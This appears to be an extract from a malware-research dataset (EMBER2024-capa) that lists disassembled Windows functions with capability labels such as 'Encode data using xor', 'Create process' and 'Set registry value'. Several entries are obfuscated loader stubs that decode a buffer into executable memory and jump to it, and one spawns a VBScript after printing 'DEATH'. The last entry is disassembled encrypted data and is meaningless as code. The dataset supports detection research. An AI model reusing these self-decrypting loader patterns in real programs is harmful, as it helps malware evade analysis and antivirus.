joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4073c0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45a83c]
jne 0x4073ca
repz ret
jmp fcn.0040b7cf

Function at 0x40b1bd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405d57
and dword [ebp - 4], 0
cmp dword [0x45f904], 0
mov ebx, eax
jne 0x40b26e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b31f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b31f
push eax
call fcn.00405ce5
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45f904], eax
call esi
push eax
call fcn.00405ce5
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45f908], eax
call esi
push eax
call fcn.00405ce5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45f90c], eax
call esi
push eax
call fcn.00405ce5
pop ecx
mov dword [0x45f914], eax
test eax, eax
je 0x40b26e
push 0x456f18
push edi
call esi
push eax
call fcn.00405ce5
pop ecx
mov dword [0x45f910], eax
mov eax, dword [0x45f910]
cmp eax, ebx
je 0x40b2c6
cmp dword [0x45f914], ebx
je 0x40b2c6
push eax
call fcn.00405d60
push dword [0x45f914]
mov esi, eax
call fcn.00405d60
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b2c6
test edi, edi
je 0x40b2c6
call esi
test eax, eax
je 0x40b2bd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b2bd
test byte [ebp - 0xc], 1
jne 0x40b2c6
or dword [ebp + 0x10], 0x200000
jmp 0x40b2ff
mov eax, dword [0x45f908]
cmp eax, ebx
je 0x40b2ff
push eax
call fcn.00405d60
pop ecx
test eax, eax
je 0x40b2ff
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2ff
mov eax, dword [0x45f90c]
cmp eax, ebx
je 0x40b2ff
push eax
call fcn.00405d60
pop ecx
test eax, eax
je 0x40b2ff
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45f904]
call fcn.00405d60
pop ecx
test eax, eax
je 0x40b31f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b321
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41dc60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 4], eax
mov word [ebp - 0x210], 0
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.004012f0
add esp, 0xc
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx edx, word [ebp - 0x210]
sub edx, 0x41
mov dword [ebp - 0x218], edx
lea eax, [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x218]
push ecx
call fcn.0041a010
add esp, 8
mov edx, dword [ebp - 0x21c]
push edx
call fcn.0041a130
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x41dd0a
xor eax, eax
jmp 0x41dd1d
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.0041dae0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ecx
sub esp, 0x4a0
call sym.___main
mov dword [ebp - 0x10], str.notepad.exe
mov dword [ebp - 0x14], str.Buddy.vbs
mov dword [esp], str.DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH__n_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH__n_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH__n_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH__n_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH_DEATH
call sym._puts
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sym.__getcwd
mov dword [ebp - 0xc], 0
jmp 0x40159e
lea edx, [ebp - 0x478]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x478], 0x44
lea eax, [ebp - 0x424]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x478]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
jne 0x40155f
call sym._GetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.Erro_ao_criar_processo_filho:__lu_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x424]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x420]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 4
jle 0x4014b6
lea edx, [ebp - 0x478]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x478], 0x44
lea eax, [ebp - 0x434]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x478]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
jne 0x401651
call sym._GetLastError_0
mov dword [esp + 8], eax
mov dword [esp + 4], str.Erro_ao_criar_processo_filho:__lu_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x434]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x434]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x430]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x4015a8
Function at 0x40be10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov dword [ebp - 0xc], ecx
push esi
mov edx, str.8__asc
lea ecx, [ebp - 4]
xor ebx, ebx
call fcn.0040ad60
mov eax, dword [ebp - 4]
cmp dword [eax - 0xc], ebx
je 0x40bece
xor esi, esi
push edi
lea esp, [esp]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 8]
push edx
push 0
xor ecx, ecx
push 2
test esi, esi
push 0
setne cl
push 0
push 0
push eax
mov dword [ebp - 8], 0
add ecx, 0x80000001
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40bec0
mov edx, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
test edx, edx
jne 0x40be81
lea eax, [edx + 0xd]
jmp 0x40beae
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40be86
sub eax, ebx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push 0
push 0x4410a0
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
test edi, edi
je 0x40bec0
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
inc esi
cmp esi, 2
jl 0x40be40
pop edi
lea esi, [eax - 0x10]
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40bee8
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42ae3a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x42ae49
pop dword [ebp - 0x38]
mov eax, 0x42ae49
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xcc740b67
sub dword [ebp - 0x48], 0x7e21c61c
mov dword [ebp - 0x44], 0x1b1a54d4
sub dword [ebp - 0x44], 0xe8e7088f
mov dword [ebp - 0x40], 0xf1fe350
add dword [ebp - 0x40], 0x3d2c60de
mov dword [ebp - 0x3c], 0x65a8b76a
sub dword [ebp - 0x3c], 0x65a8b76a
lea eax, [ebp - 0x48]
push eax
mov eax, 0x99917418
sub eax, 0x994dc204
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x3c0e6f5d
sub dword [ebp - 0x48], 0xc79c0607
mov dword [ebp - 0x44], 0xc0f6ce50
add dword [ebp - 0x44], 0x80759325
mov dword [ebp - 0x40], 0x6a349a63
add dword [ebp - 0x40], 0xf93ad209
mov dword [ebp - 0x3c], 0xc5585958
sub dword [ebp - 0x3c], 0xc5585958
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x993a8d84
sub eax, 0x98f6db14
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x47f10
push 0
call eax
mov ecx, 0xab12033e
sub ecx, 0xab11ad1b
xor edi, edi
add edi, eax
mov edx, 0x28c40c41
sub edx, 0x287dbe41
add edx, dword [ebp - 0x38]
mov esi, 0x2ec39fec
sub esi, 0xa758e3d7
add dword [ebp - 0xc], 0xfd6751b
mov ebx, dword [edx]
add dword [ebp - 0x24], 0xbc06b87
xor ebx, esi
xor dword [ebp - 0x10], 0x5d371d84
mov dword [edi], ebx
add dword [ebp - 0x28], ebx
add edi, 0x6dea3ec0
sub edi, 0x6dea3ebc
add edx, 4
loop 0x42af68
add eax, 0xca10190a
add eax, 0x35f13255
mov ebx, eax
add eax, 0x2983c688
sub eax, 0x2983c683
mov ecx, 0xf26d18d
sub ecx, 0xee6d18d
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1002aaee
pop dword [ebp - 0xc]
mov eax, 0x8af78fd6
add eax, 0x850b1b18
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x277ae118
sub dword [ebp - 0x1c], 0xd9289bcd
mov dword [ebp - 0x18], 0x7fe7966f
sub dword [ebp - 0x18], 0x4db44a2a
mov dword [ebp - 0x14], 0x44f10bc2
sub dword [ebp - 0x14], 0xf8a4c794
mov dword [ebp - 0x10], 0x41bd5002
sub dword [ebp - 0x10], 0x41bd5002
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x6eaf7790
sub eax, 0x5eacb758
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x2d239bd5
add dword [ebp - 0x1c], 0x474ecd81
mov dword [ebp - 0x18], 0x5ca57c67
sub dword [ebp - 0x18], 0x1b391af2
mov dword [ebp - 0x14], 0xd89c0148
add dword [ebp - 0x14], 0x8ad36b24
mov dword [ebp - 0x10], 0x22197c02
add dword [ebp - 0x10], 0xdde683fe
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36718
push 0
call eax
mov ecx, 0xa17b2499
sub ecx, 0xa17adcb2
mov edi, eax
mov esi, 0x10039600
add esi, dword [ebp - 0xc]
mov ebx, 0x3f37c3ec
sub dword [ebp - 8], 0x109951cb
mov edx, dword [esi]
xor dword [ebp - 4], esi
sub edx, ebx
xor dword [ebp - 8], 0xbf35add4
mov dword [edi], edx
sub dword [ebp - 4], 0x85c7ea1b
add edi, 0xd8776b93
add edi, 0x27889471
add esi, 0x17836474
sub esi, 0x17836470
loop 0x1002abff
add eax, 0xca29afab
sub eax, 0xca289d3c
mov ebx, eax
add eax, 0x36bdb1b0
add eax, 0xc9424e55
mov ecx, 0xd75681c8
sub ecx, 0xc75681c8
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401560
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x18c
lea eax, [ebp - 0x178]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x168], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov dword [esp], 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
sub esp, 0x14
test eax, eax
jne 0x4016cf
mov eax, dword [ebp - 0x178]
lea edi, [ebp - 0xe0]
lea esi, [ebp - 0x168]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x168], 0xc8
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.ReleaseId
mov dword [esp], eax
call ebx
sub esp, 0x18
mov dword [esp], edi
call dword [sym.imp.msvcrt.dll__wtoi]
mov dword [ebp - 0x168], 0xc8
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [0x408070], eax
mov eax, dword [ebp - 0x178]
mov dword [esp + 4], str.CurrentMajorVersionNumber
mov dword [esp], eax
call ebx
sub esp, 0x18
test eax, eax
jne 0x401658
mov dword [0x408080], 1
mov eax, dword [ebp - 0x178]
mov dword [esp + 0x14], esi
lea esi, [ebp - 0x160]
mov dword [ebp - 0x168], pe_nt_image_headers32
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.CurrentVersion
mov dword [esp], eax
call ebx
sub esp, 0x18
mov dword [esp + 4], 0x406102
mov dword [esp], esi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x4016e3
cmp dword [0x408080], 0
jne 0x4016bd
mov dword [0x408090], 1
mov eax, dword [ebp - 0x178]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
jmp 0x4016db
mov dword [esp], str.error:_could_not_get_windows_version_n
call sub.msvcrt.dll_wprintf_s
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], 0x40610a
mov dword [esp], esi
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x4016aa
jmp 0x4016bd
Function at 0x401a90
Capabilities:
Get token membership
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x264
mov dword [ebp - 0x218], 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 4], 0
mov dword [esp], 0x10000000
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edx, [ebp - 0x20c]
sub esp, 0xc
mov dword [esp + 8], edx
mov dword [esp + 4], 0x10000000
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
sub esp, 0xc
test eax, eax
je 0x401bb3
mov eax, dword [ebp - 0x218]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x228], 0x200
mov dword [esp + 4], 0x408700
mov dword [esp], 0
mov ebx, eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x228]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x208]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x218]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
sub esp, 0x1c
test eax, eax
je 0x401b8e
lea eax, [ebp - 0x248]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
sub esp, 0xc
test eax, eax
je 0x401bcd
cmp dword [ebp - 0x248], 0
mov eax, 1
jne 0x401bae
mov dword [esp], str.the_user_is_not_a_member_of_the_group._n
call sub.msvcrt.dll_wprintf_s
xor eax, eax
jmp 0x401bae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 4], 0x408700
mov dword [esp], str.error:_group_not_found:__s__code__u_n
mov dword [esp + 8], eax
call sub.msvcrt.dll_wprintf_s
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.error:_OpenProcessToken_failed:__u_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_wprintf_s
xor eax, eax
jmp 0x401bae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.error:_CheckTokenMembership_failed:__u_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_wprintf_s
xor eax, eax
jmp 0x401bae
Function at 0x403510
Capabilities:
Query or enumerate registry value

Disassembly:
push edi
mov edi, edx
push esi
push ebx
mov ebx, eax
sub esp, 0x10
mov esi, dword [sym.imp.msvcrt.dll__wcsicmp]
mov dword [esp + 4], str.hklm
mov dword [esp], eax
call esi
test eax, eax
je 0x403578
mov dword [esp], ebx
mov ebx, 0x80000001
mov dword [esp + 4], str.hkcu
call esi
test eax, eax
jne 0x40357f
mov dword [esp], 0x408700
call sub.msvcrt.dll_wcslen
test eax, eax
je 0x403569
call fcn.00401a90
test eax, eax
nop
jne 0x403569
add esp, 0x10
pop ebx
pop esi
pop edi
ret
add esp, 0x10
mov edx, edi
mov eax, ebx
pop ebx
pop esi
pop edi
jmp fcn.00402f30
mov ebx, 0x80000002
jmp 0x403547
mov dword [esp], str.error:_please_supply_a_registry_hive__hklm_or_hkcu__n
call sub.msvcrt.dll_wprintf_s
mov dword [esp], 0xffffffff
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x4039b0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00403a10
Function at 0x4043b0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4043e8
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x4043de
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x4043ea
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x4043d0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x447836
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x447845
pop dword [ebp - 0x2c]
mov eax, 0x80d032e5
add eax, 0x7f744560
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x58a34
push 0
mov eax, 0x1201cb9b
sub eax, 0x11bd18eb
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x6996
xor esi, esi
add esi, eax
mov edx, 0x488e00
add edx, dword [ebp - 0x2c]
mov edi, 0xe212171c
xor dword [ebp - 0x1c], edx
mov ebx, dword [edx]
add dword [ebp - 0x18], 0x96d75bf2
sub ebx, edi
sub dword [ebp - 0x10], 0x42fd39f4
mov dword [esi], ebx
add esi, 4
add edx, 0xd8ac62
add edx, 0xff2753a2
loop 0x447894
add eax, 0x8f8cc8fd
add eax, 0x7074d02e
xor ebx, ebx
add ebx, eax
add eax, 0x6a80a3ef
sub eax, 0x6a80a3ea
mov ecx, 0x9da2fa55
sub ecx, 0x9d62fa55
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x42356a
Capabilities:
Encode data using xor

Disassembly:
cmp bl, byte [ecx + ebp*8 + 0x15b7fbfc]
add edx, dword [edx - 0x12c15c5]
lds esp, [eax - 0x4fc46974]
add eax, 0x323dcfaa
xor eax, 0xa15b1e84
ret 0xfe61
adc eax, 0x3dc4eab3
test edi, 0x3491f2f7
retf 0xca29
inc eax
push ss
bsr edx, dword [ecx]
cwde
cdq
or esp, dword [ebx + edx*4]
push edx
adc bl, ah
imul esp, dword [ebx + esi - 0x10], 0x9fea80eb
pop edx
sahf
add byte [ecx - 6], dl
pop ecx
and esi, dword [0x596eb162]
in eax, dx
jb 0x423508
jecxz 0x423573
xor esi, eax
jmp 0x42348f
loope 0x42359b
lds ecx, [esi - 0x22]
inc eax
int1
dec edi
mov cs, word [ebx]
mov ch, 0xc0
sti
jnp 0x4234bb
and dword [ebp + 0x47], esi
add al, 0xe1
nop
sub dword [eax + 0x21], esp
movhps qword [edi - 0x3711d6a1], xmm4
cmpsd dword [esi], dword es:[edi]
pop edi
sub esi, ebp
enter 0x5094, 0x7b
invalid
sbb dword [eax - 0x44], eax
pop eax
fldenv [eax]
dec ebx
add dh, byte [esi + 0x5b]
and byte [ebx + 2], cl
jbe 0x4235a8
rol dword [ebx + 0x44], 0x4c
in al, 0xb1
pop ecx
call 0xbcdad4f1
xor byte [edx + ecx - 0x4c], bl
xor edx, dword [ecx + 0x6a]
adc ebp, ecx
nop
imul bh
inc esp
imul ebp, dword [eax - 8], 0x19
dec eax
mov dword [0x7dba040], eax
mov byte [ebx], ch
wait
xor ah, byte [edx - 0x29]
fist word [edi]
push ecx
pop ds
jp 0x4234fc
inc esp
daa
mov cl, 0xa6
mov dh, 0x5b
dec esi
jne 0x4235d1
adc cl, cl
adc cl, byte [edi + 0x42696534]
div ecx
cmp dh, byte [eax + 0x27e49a0d]
xor cl, dl
or byte [eax], dh
push 0x4c
sbb dword [eax + 0xb], edx
push cs
dec esp
invalid
jb 0x423616
sub esi, esp
cld
jns 0x4235e0
or eax, 0x7bc1e527
inc esi
enter 0x4a0f, 0xffffffffffffffd6
dec edx
salc
insd dword es:[edi], dx
xor dl, byte [eax + 0x4b]
enter 0xffffffffffffcc57, 0xffffffffffffffb6
add eax, 0xd24a30aa
out dx, eax
pop ds
xchg esi, eax
outsd dx, dword [esi]
sub al, 0xcc
or esi, ebp
test dword [eax], ebp
sar ch, cl
std
in eax, dx
invalid
sub dword [ecx - 0x1fa632f3], 0xffffffd0
int 0x59
loopne 0x4235b7
and bl, bl
sub ebp, esp
imul dh
out dx, al
lahf
bound ebx, qword [eax + 0x135b4cf1]
jae 0x4235e3
xchg edx, eax
or eax, 0x9bb1592e
stosd dword es:[edi], eax
sal dword [esi - 0x32], 0x15
dec edi
add byte [0x9ffa5d46], cl
sub dword [ecx - 0x2a], eax
salc
or eax, 0x6c825879
dec edi
or al, 0x1b
ror dword [ebx + 0x43e9259], 1
movsd dword es:[edi], dword [esi]
mov ebx, dword [ecx - 0x6e]
pop ecx
xchg edx, eax
add al, 0xa5
add eax, 0x46cf62d2
sub al, 0xb0
sbb al, 0xc2
bound ebx, qword [esi + 0x190d5a2d]
jecxz 0x423617
push 0xffffffffffffff93
cld
push ebx
idiv dword [eax + 0x75]
adc esp, dword [ecx]
cld
pop esp
shr byte [edx + esi*2], 1
cmpsb byte [esi], byte es:[edi]
push 0x72e54a9c
adc dh, bl
or al, 0x3f
jg 0x42360c
invalid